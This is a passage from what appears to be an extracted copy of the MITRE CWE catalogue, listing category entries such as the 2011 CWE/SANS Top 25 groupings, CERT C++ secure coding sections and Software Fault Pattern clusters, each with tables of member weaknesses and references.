MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2332
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	900	33
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	900	294
HasMember	B	131	Incorrect Calculation of Buffer Size	900	340
HasMember	B	134	Use of Externally-Controlled Format String	900	349
HasMember	B	190	Integer Overflow or Wraparound	900	453
HasMember	B	494	Download of Code Without Integrity Check	900	1119
HasMember	B	676	Use of Potentially Dangerous Function	900	1394

### References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < [http://cwe.mitre.org/top25/archive/2011/2011\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html) >.

## Category-866: 2011 Top 25 - Porous Defenses

Category ID : 866

### Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2332
HasMember	B	250	Execution with Unnecessary Privileges	900	568
HasMember	B	306	Missing Authentication for Critical Function	900	703
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	900	709
HasMember	G	311	Missing Encryption of Sensitive Data	900	718
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	900	758
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	900	1445
HasMember	V	759	Use of a One-Way Hash without a Salt	900	1474
HasMember	B	798	Use of Hard-coded Credentials	900	1573

Nature	Type	ID	Name	V	Page
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	900	1595
HasMember	C	862	Missing Authorization	900	1657
HasMember	C	863	Incorrect Authorization	900	1664

### References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < [http://cwe.mitre.org/top25/archive/2011/2011\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html) >.

## Category-867: 2011 Top 25 - Weaknesses On the Cusp

Category ID : 867

### Summary

Weaknesses in this category are not part of the general Top 25, but they were part of the original nominee list from which the Top 25 was drawn.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2332
HasMember	V	129	Improper Validation of Array Index	900	327
HasMember	B	209	Generation of Error Message Containing Sensitive Information	900	510
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	900	520
HasMember	C	330	Use of Insufficiently Random Values	900	772
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	900	841
HasMember	V	456	Missing Initialization of a Variable	900	1029
HasMember	B	476	NULL Pointer Dereference	900	1070
HasMember	B	681	Incorrect Conversion between Numeric Types	900	1400
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	900	1460
HasMember	B	770	Allocation of Resources Without Limits or Throttling	900	1502
HasMember	B	772	Missing Release of Resource after Effective Lifetime	900	1512
HasMember	B	805	Buffer Access with Incorrect Length Value	900	1585
HasMember	B	822	Untrusted Pointer Dereference	900	1604
HasMember	B	825	Expired Pointer Dereference	900	1612
HasMember	B	838	Inappropriate Encoding for Output Context	900	1641
HasMember	B	841	Improper Enforcement of Behavioral Workflow	900	1649

### References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < [http://cwe.mitre.org/top25/archive/2011/2011\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html) >.

## Category-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE)

Category ID : 869

### Summary



Weaknesses in this category are related to rules in the Preprocessor (PRE) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326

### References

[REF-848]The Software Engineering Institute. "01. Preprocessor (PRE)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/01.+Preprocessor+%28PRE%29> >.

## Category-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID : 870

### Summary

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326

### References

[REF-849]CERT. "02. Declarations and Initialization (DCL)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/02.+Declarations+and+Initialization+%28DCL%29> >.

## Category-871: CERT C++ Secure Coding Section 03 - Expressions (EXP)

Category ID : 871

### Summary

Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	B	476	NULL Pointer Dereference	868	1070
HasMember	B	480	Use of Incorrect Operator	868	1087
HasMember	V	768	Incorrect Short Circuit Evaluation	868	1500

### References



[REF-850]CERT. "03. Expressions (EXP)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/03.+Expressions+%28EXP%29> >.

## Category-872: CERT C++ Secure Coding Section 04 - Integers (INT)

Category ID : 872

### Summary

Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	G	20	Improper Input Validation	868	19
HasMember	V	129	Improper Validation of Array Index	868	327
HasMember	B	190	Integer Overflow or Wraparound	868	453
HasMember	V	192	Integer Coercion Error	868	463
HasMember	B	197	Numeric Truncation Error	868	479
HasMember	B	369	Divide By Zero	868	865
HasMember	B	466	Return of Pointer Value Outside of Expected Range	868	1049
HasMember	B	587	Assignment of a Fixed Address to a Pointer	868	1244
HasMember	B	606	Unchecked Input for Loop Condition	868	1278
HasMember	B	676	Use of Potentially Dangerous Function	868	1394
HasMember	B	681	Incorrect Conversion between Numeric Types	868	1400
HasMember	P	682	Incorrect Calculation	868	1403

### References

[REF-851]CERT. "04. Integers (INT)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/04.+Integers+%28INT%29> >.

## Category-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)

Category ID : 873

### Summary

Weaknesses in this category are related to rules in the Floating Point Arithmetic (FLP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	B	369	Divide By Zero	868	865
HasMember	B	681	Incorrect Conversion between Numeric Types	868	1400
HasMember	P	682	Incorrect Calculation	868	1403

Nature	Type	ID	Name	V	Page
HasMember	V	686	Function Call With Incorrect Argument Type	868	1412

### References

[REF-852]CERT. "05. Floating Point Arithmetic (FLP)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/05.+Floating+Point+Arithmetic+%28FLP%29> >.

## Category-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)

Category ID : 874

### Summary

Weaknesses in this category are related to rules in the Arrays and the STL (ARR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	283
HasMember	V	129	Improper Validation of Array Index	868	327
HasMember	V	467	Use of sizeof() on a Pointer Type	868	1050
HasMember	B	469	Use of Pointer Subtraction to Determine Size	868	1055
HasMember	G	665	Improper Initialization	868	1368
HasMember	B	805	Buffer Access with Incorrect Length Value	868	1585

### References

[REF-853]CERT. "06. Arrays and the STL (ARR)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/06.+Arrays+and+the+STL+%28ARR%29> >.

## Category-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR)








Category ID : 875

### Summary

Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	868	188

Nature	Type	ID	Name	V	Page
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	283
HasMember		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	868	294
HasMember		170	Improper Null Termination	868	411
HasMember		193	Off-by-one Error	868	466
HasMember		464	Addition of Data Structure Sentinel	868	1047
HasMember		686	Function Call With Incorrect Argument Type	868	1412
HasMember		704	Incorrect Type Conversion or Cast	868	1435

## References

[REF-854]CERT. "07. Characters and Strings (STR)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/07.+Characters+and+Strings+%28STR%29> >.




















## Category-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM)

Category ID : 876

## Summary

Weaknesses in this category are related to rules in the Memory Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf		868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember		20	Improper Input Validation	868	19
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	283
HasMember		128	Wrap-around Error	868	324
HasMember		131	Incorrect Calculation of Buffer Size	868	340
HasMember		190	Integer Overflow or Wraparound	868	453
HasMember		226	Sensitive Information in Resource Not Removed Before Reuse	868	536
HasMember		244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	868	561
HasMember		252	Unchecked Return Value	868	575
HasMember		391	Unchecked Error Condition	868	898
HasMember		404	Improper Resource Shutdown or Release	868	927
HasMember		415	Double Free	868	954
HasMember		416	Use After Free	868	958
HasMember		476	NULL Pointer Dereference	868	1070
HasMember		528	Exposure of Core Dump File to an Unauthorized Control Sphere	868	1168
HasMember		590	Free of Memory not on the Heap	868	1248
HasMember		591	Sensitive Data Storage in Improperly Locked Memory	868	1251
HasMember		665	Improper Initialization	868	1368
HasMember		687	Function Call With Incorrectly Specified Argument Value	868	1413

Nature	Type	ID	Name	V	Page
HasMember		690	Unchecked Return Value to NULL Pointer Dereference	868	1418
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	868	1433
HasMember		754	Improper Check for Unusual or Exceptional Conditions	868	1460
HasMember		762	Mismatched Memory Management Routines	868	1485
HasMember		770	Allocation of Resources Without Limits or Throttling	868	1502
HasMember		822	Untrusted Pointer Dereference	868	1604

## References

[REF-855]CERT. "08. Memory Management (MEM)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29> >.

## Category-877: CERT C++ Secure Coding Section 09 - Input Output (FIO)

Category ID : 877

### Summary

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	868	33
HasMember		37	Path Traversal: '/absolute/pathname/here'	868	75
HasMember		38	Path Traversal: '\absolute\pathname\here'	868	77
HasMember		39	Path Traversal: 'C:dirname'	868	79
HasMember		41	Improper Resolution of Path Equivalence	868	83
HasMember		59	Improper Link Resolution Before File Access ('Link Following')	868	108
HasMember		62	UNIX Hard Link	868	115
HasMember		64	Windows Shortcut Following (.LNK)	868	117
HasMember		65	Windows Hard Link	868	119
HasMember		67	Improper Handling of Windows Device Names	868	122
HasMember		73	External Control of File Name or Path	868	128
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	283
HasMember		134	Use of Externally-Controlled Format String	868	349
HasMember		241	Improper Handling of Unexpected Data Type	868	555
HasMember		276	Incorrect Default Permissions	868	630
HasMember		279	Incorrect Execution-Assigned Permissions	868	636
HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	841
HasMember		367	Time-of-check Time-of-use (TOCTOU) Race Condition	868	858
HasMember		379	Creation of Temporary File in Directory with Insecure Permissions	868	881
HasMember		391	Unchecked Error Condition	868	898

Nature	Type	ID	Name	V	Page
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	868	925
HasMember	C	404	Improper Resource Shutdown or Release	868	927
HasMember	B	552	Files or Directories Accessible to External Parties	868	1193
HasMember	C	675	Multiple Operations on Resource in Single-Operation Context	868	1393
HasMember	B	676	Use of Potentially Dangerous Function	868	1394
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	868	1445
HasMember	B	770	Allocation of Resources Without Limits or Throttling	868	1502

## References

[REF-856]CERT. "09. Input Output (FIO)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/09.+Input+Output+%28FIO%29> >.

## Category-878: CERT C++ Secure Coding Section 10 - Environment (ENV)

Category ID : 878

### Summary

Weaknesses in this category are related to rules in the Environment (ENV) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	868	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	868	188
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	868	283
HasMember	B	426	Untrusted Search Path	868	972
HasMember	B	462	Duplicate Key in Associative List (Alist)	868	1043
HasMember	C	705	Incorrect Control Flow Scoping	868	1437
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	868	1595

## References

[REF-857]CERT. "10. Environment (ENV)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/10.+Environment+%28ENV%29> >.

## Category-879: CERT C++ Secure Coding Section 11 - Signals (SIG)

Category ID : 879

### Summary

Weaknesses in this category are related to rules in the Signals (SIG) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	868	1084
HasMember	C	662	Improper Synchronization	868	1363

**References**

[REF-858]CERT. "11. Signals (SIG)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/11.+Signals+%28SIG%29> >.

**Category-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)**

Category ID : 880

**Summary**

Weaknesses in this category are related to rules in the Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	B	209	Generation of Error Message Containing Sensitive Information	868	510
HasMember	B	390	Detection of Error Condition Without Action	868	893
HasMember	B	391	Unchecked Error Condition	868	898
HasMember	B	460	Improper Cleanup on Thrown Exception	868	1041
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	868	1127
HasMember	B	544	Missing Standardized Error Handling Mechanism	868	1185
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	868	1433
HasMember	C	705	Incorrect Control Flow Scoping	868	1437
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	868	1460
HasMember	C	755	Improper Handling of Exceptional Conditions	868	1468

**References**

[REF-861]CERT. "12. Exceptions and Error Handling (ERR)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/12.+Exceptions+and+Error+Handling+%28ERR%29> >.

**Category-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)**

Category ID : 881

**Summary**



Weaknesses in this category are related to rules in the Object Oriented Programming (OOP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326

### References

[REF-862]CERT. "13. Object Oriented Programming (OOP)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/13.+Object+Oriented+Programming+%28OOP%29> >.

## Category-882: CERT C++ Secure Coding Section 14 - Concurrency (CON)

Category ID : 882

### Summary

Weaknesses in this category are related to rules in the Concurrency (CON) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	868	841
HasMember	B	366	Race Condition within a Thread	868	856
HasMember	G	404	Improper Resource Shutdown or Release	868	927
HasMember	B	488	Exposure of Data Element to Wrong Session	868	1104
HasMember	B	772	Missing Release of Resource after Effective Lifetime	868	1512

### References

[REF-863]CERT. "14. Concurrency (CON)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/14.+Concurrency+%28CON%29> >.

## Category-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)

Category ID : 883

### Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	868	Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)	868	2326
HasMember	V	14	Compiler Removal of Code to Clear Buffers	868	14



Nature	Type	ID	Name	V	Page
HasMember		20	Improper Input Validation	868	19
HasMember		116	Improper Encoding or Escaping of Output	868	272
HasMember		176	Improper Handling of Unicode Encoding	868	422
HasMember		327	Use of a Broken or Risky Cryptographic Algorithm	868	758
HasMember		330	Use of Insufficiently Random Values	868	772
HasMember		480	Use of Incorrect Operator	868	1087
HasMember		482	Comparing instead of Assigning	868	1093
HasMember		561	Dead Code	868	1201
HasMember		563	Assignment to Variable without Use	868	1206
HasMember		570	Expression is Always False	868	1216
HasMember		571	Expression is Always True	868	1219
HasMember		697	Incorrect Comparison	868	1428
HasMember		704	Incorrect Type Conversion or Cast	868	1435

## References

[REF-864]CERT. "49. Miscellaneous (MSC)". < <https://www.securecoding.cert.org/confluence/display/cplusplus/49.+Miscellaneous+%28MSC%29> >.

## Category-885: SFP Primary Cluster: Risky Values

Category ID : 885

### Summary

This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster (SFP1).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember		998	SFP Secondary Cluster: Glitch in Computation	888	2212

## Category-886: SFP Primary Cluster: Unused entities

Category ID : 886

### Summary

This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster (SFP2).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember		482	Comparing instead of Assigning	888	1093
HasMember		561	Dead Code	888	1201
HasMember		563	Assignment to Variable without Use	888	1206

## Category-887: SFP Primary Cluster: API

Category ID : 887

## Summary

This category identifies Software Fault Patterns (SFPs) within the API cluster (SFP3).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

## Category-889: SFP Primary Cluster: Exception Management

Category ID : 889

## Summary

This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster (SFP4, SFP5, SFP6).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	960	SFP Secondary Cluster: Ambiguous Exception Type	888	2192
HasMember	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192
HasMember	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193

## Category-890: SFP Primary Cluster: Memory Access

Category ID : 890

## Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster (SFP7, SFP8).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
HasMember	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	2198
HasMember	C	972	SFP Secondary Cluster: Faulty String Expansion	888	2199
HasMember	C	973	SFP Secondary Cluster: Improper NULL Termination	888	2199
HasMember	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	2199

## Category-891: SFP Primary Cluster: Memory Management

Category ID : 891

## Summary

This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster (SFP38).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2197

**Category-892: SFP Primary Cluster: Resource Management**

Category ID : 892

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster (SFP37).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2203
HasMember	C	983	SFP Secondary Cluster: Faulty Resource Use	888	2204
HasMember	C	984	SFP Secondary Cluster: Life Cycle	888	2204
HasMember	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	2204

**Category-893: SFP Primary Cluster: Path Resolution**

Category ID : 893

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster (SFP16, SFP17, SFP18).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	979	SFP Secondary Cluster: Failed Chroot Jail	888	2201
HasMember	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202
HasMember	C	981	SFP Secondary Cluster: Path Traversal	888	2202

**Category-894: SFP Primary Cluster: Synchronization**

Category ID : 894

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster (SFP19, SFP20, SFP21, SFP22).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331

Nature	Type	ID	Name	V	Page
HasMember	C	986	SFP Secondary Cluster: Missing Lock	888	2205
HasMember	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2205
HasMember	C	988	SFP Secondary Cluster: Race Condition Window	888	2206
HasMember	C	989	SFP Secondary Cluster: Unrestricted Lock	888	2206

## Category-895: SFP Primary Cluster: Information Leak

Category ID : 895

### Summary

This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster (SFP23).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	963	SFP Secondary Cluster: Exposed Data	888	2193
HasMember	C	964	SFP Secondary Cluster: Exposure Temporary File	888	2196
HasMember	C	965	SFP Secondary Cluster: Insecure Session Management	888	2196
HasMember	C	966	SFP Secondary Cluster: Other Exposures	888	2196
HasMember	C	967	SFP Secondary Cluster: State Disclosure	888	2197

## Category-896: SFP Primary Cluster: Tainted Input

Category ID : 896

### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster (SFP24, SFP25, SFP26, SFP27).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
HasMember	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2209
HasMember	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209
HasMember	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210
HasMember	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210

## Category-897: SFP Primary Cluster: Entry Points

Category ID : 897

### Summary

This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster (SFP28).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214

## Category-898: SFP Primary Cluster: Authentication

Category ID : 898

### Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication cluster (SFP29, SFP30, SFP31, SFP32, SFP33, SFP34).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	947	SFP Secondary Cluster: Authentication Bypass	888	2187
HasMember	C	948	SFP Secondary Cluster: Digital Certificate	888	2188
HasMember	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188
HasMember	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2189
HasMember	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189
HasMember	C	952	SFP Secondary Cluster: Missing Authentication	888	2189
HasMember	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	2190
HasMember	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	2190
HasMember	C	955	SFP Secondary Cluster: Unrestricted Authentication	888	2190

## Category-899: SFP Primary Cluster: Access Control

Category ID : 899

### Summary

This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	944	SFP Secondary Cluster: Access Management	888	2186
HasMember	C	945	SFP Secondary Cluster: Insecure Resource Access	888	2187
HasMember	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187

## Category-901: SFP Primary Cluster: Privilege

Category ID : 901

### Summary

This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	888	7
HasMember	B	250	Execution with Unnecessary Privileges	888	568
HasMember	B	266	Incorrect Privilege Assignment	888	605
HasMember	B	267	Privilege Defined With Unsafe Actions	888	608
HasMember	B	268	Privilege Chaining	888	611
HasMember	C	269	Improper Privilege Management	888	613
HasMember	B	270	Privilege Context Switching Error	888	618
HasMember	C	271	Privilege Dropping / Lowering Errors	888	620
HasMember	B	272	Least Privilege Violation	888	623
HasMember	B	274	Improper Handling of Insufficient Privileges	888	629
HasMember	V	520	.NET Misconfiguration: Use of Impersonation	888	1154
HasMember	B	653	Improper Isolation or Compartmentalization	888	1353

**Category-902: SFP Primary Cluster: Channel**

Category ID : 902

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Channel cluster.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	956	SFP Secondary Cluster: Channel Attack	888	2191
HasMember	C	957	SFP Secondary Cluster: Protocol Error	888	2191

**Category-903: SFP Primary Cluster: Cryptography**

Category ID : 903

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	958	SFP Secondary Cluster: Broken Cryptography	888	2191
HasMember	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192

**Category-904: SFP Primary Cluster: Malware**

Category ID : 904

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Malware cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	888	125
HasMember	G	506	Embedded Malicious Code	888	1142
HasMember	B	507	Trojan Horse	888	1144
HasMember	B	508	Non-Replicating Malicious Code	888	1145
HasMember	B	509	Replicating Malicious Code (Virus or Worm)	888	1146
HasMember	B	510	Trapdoor	888	1147
HasMember	B	511	Logic/Time Bomb	888	1149
HasMember	B	512	Spyware	888	1150
HasMember	C	968	SFP Secondary Cluster: Covert Channel	888	2197

## Category-905: SFP Primary Cluster: Predictability

Category ID : 905

### Summary

This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	G	330	Use of Insufficiently Random Values	888	772
HasMember	B	331	Insufficient Entropy	888	778
HasMember	V	332	Insufficient Entropy in PRNG	888	781
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	888	783
HasMember	B	334	Small Space of Random Values	888	784
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	888	786
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	888	789
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	888	791
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	888	793
HasMember	V	339	Small Seed Space in PRNG	888	796
HasMember	G	340	Generation of Predictable Numbers or Identifiers	888	798
